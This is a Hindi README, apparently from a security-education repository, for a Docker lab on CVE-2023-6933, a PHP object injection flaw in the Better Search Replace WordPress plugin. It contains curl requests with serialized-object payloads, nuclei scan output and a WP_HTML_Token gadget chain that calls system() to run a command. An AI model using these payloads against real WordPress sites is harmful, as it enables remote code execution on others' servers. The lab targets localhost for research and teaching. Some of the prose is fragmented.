
CVE-2023-6933 के लिए व्यावहारिक प्रयोगशाला, Better Search Replace WordPress प्लगइन में PHP ऑब्जेक्ट इंजेक्शन भेद्यता, Docker परिनियोजन, nuclei टेम्पलेट और सुरक्षा अनुसंधान और शिक्षा के लिए एक्सप्लॉइट स्क्रिप्ट के साथ।
यह प्रयोगशाला वातावरण CVE-2023-6933 का प्रदर्शन करता है, जो Better Search Replace WordPress प्लगइन संस्करण ≤1.4.4 में एक गंभीर PHP ऑब्जेक्ट इंजेक्शन भेद्यता है।
/wp-admin/admin-ajax.php क्रिया search_replace_db के साथ# Clone the repository
git clone https://github.com/Trex96/vulnerable-bsr-lab-CVE-2023-6933.git
cd vulnerable-bsr-lab-CVE-2023-6933
# Deploy using Docker Hub image (automatic pull)
docker-compose up -d
प्रयोगशाला स्वचालित रूप से:
trex999/vulnerable-bsr-lab:latest)# Run the automated POC
nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
# Manual testing via curl
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'action=search_replace_db&search_for=O:8:"stdClass":1:{s:6:"marker";s:34:"nuclei_test_payload_demonstration";}&replace_with=test'
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
POC सफलतापूर्वक:
Better Search Replace प्लगइन में इसके AJAX हैंडलर में एक PHP ऑब्जेक्ट इंजेक्शन भेद्यता है। भेद्यता तब होती है जब:
search_for पैरामीटर को /wp-admin/admin-ajax.php पर भेजा जाता हैsearch_replace_db पर सेट की जाती हैहमारा nuclei टेम्पलेट कई सत्यापन चरणों के माध्यम से भेद्यता प्रदर्शित करता है:
nuclei टेम्पलेट (nuclei-templates/cve-2023-6933.yaml) पेशेवर रूप से संरचित है:
$ nuclei -t nuclei-templates/cve-2023-6933.yaml -target http://localhost:8080 -v
[CVE-2023-6933:plugin_version] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["trunk"]
[CVE-2023-6933:tested_up_to] [http] [critical] http://localhost:8080/wp-content/plugins/better-search-replace/README.txt ["6.4"]
[CVE-2023-6933:response_content] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[CVE-2023-6933:poc_verification] [http] [critical] http://localhost:8080/wp-admin/admin-ajax.php ["0"]
[INF] Scan completed in 67ms. 4 matches found.
POC सफलतापूर्वक:
⚠️ चेतावनी: इस वातावरण में जानबूझकर भेद्य सॉफ़्टवेयर है। केवल पृथक परीक्षण वातावरण में उपयोग करें। उत्पादन या इंटरनेट-सुलभ प्रणालियों पर तैनात न करें।
docker-compose down -v
शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए बनाया गया
Docker_LAB_SETUP/)cve_2023_6933_exploit.php - व्यापक PHP शोषण टूलकिटwp_html_token_poc.php - WordPress 6.4.0+ RCE प्रदर्शनbsr_direct_exploit.php - प्रत्यक्ष भेद्यता परीक्षणnuclei-templates/cve-2023-6933.yaml - उन्नत nuclei टेम्पलेटmanual-test.sh - व्यापक मैन्युअल परीक्षण स्क्रिप्टयह प्रयोगशाला भेद्यता अनुसंधान के लिए सर्वोत्तम प्रथाओं का पालन करते हुए गैर-त्रुटि-आधारित पहचान प्रदर्शित करती है:
HTTP 500 त्रुटियों पर निर्भर होने के बजाय, हमारे उपकरण पता लगाते हैं:
वास्तविक RCE के लिए WordPress 6.4.0+ WP_HTML_Token वर्ग का उपयोग:
O:13:"WP_HTML_Token":4:{
s:13:"bookmark_name";s:14:"touch /tmp/rce";
s:9:"node_name";s:8:"testnode";
s:21:"has_self_closing_flag";b:0;
s:10:"on_destroy";s:6:"system";
}
admin-ajax.php)# Test basic plugin presence
curl "http://localhost:8080/wp-content/plugins/better-search-replace/readme.txt"
# Test vulnerability with safe payload
curl -X POST "http://localhost:8080/wp-admin/admin-ajax.php" \
-d "action=bsr_search_replace&search_for=O:8:\"stdClass\":1:{s:4:\"test\";s:8:\"nuclei\";}&replace_with=safe&select_tables[]=wp_posts&dry_run=1"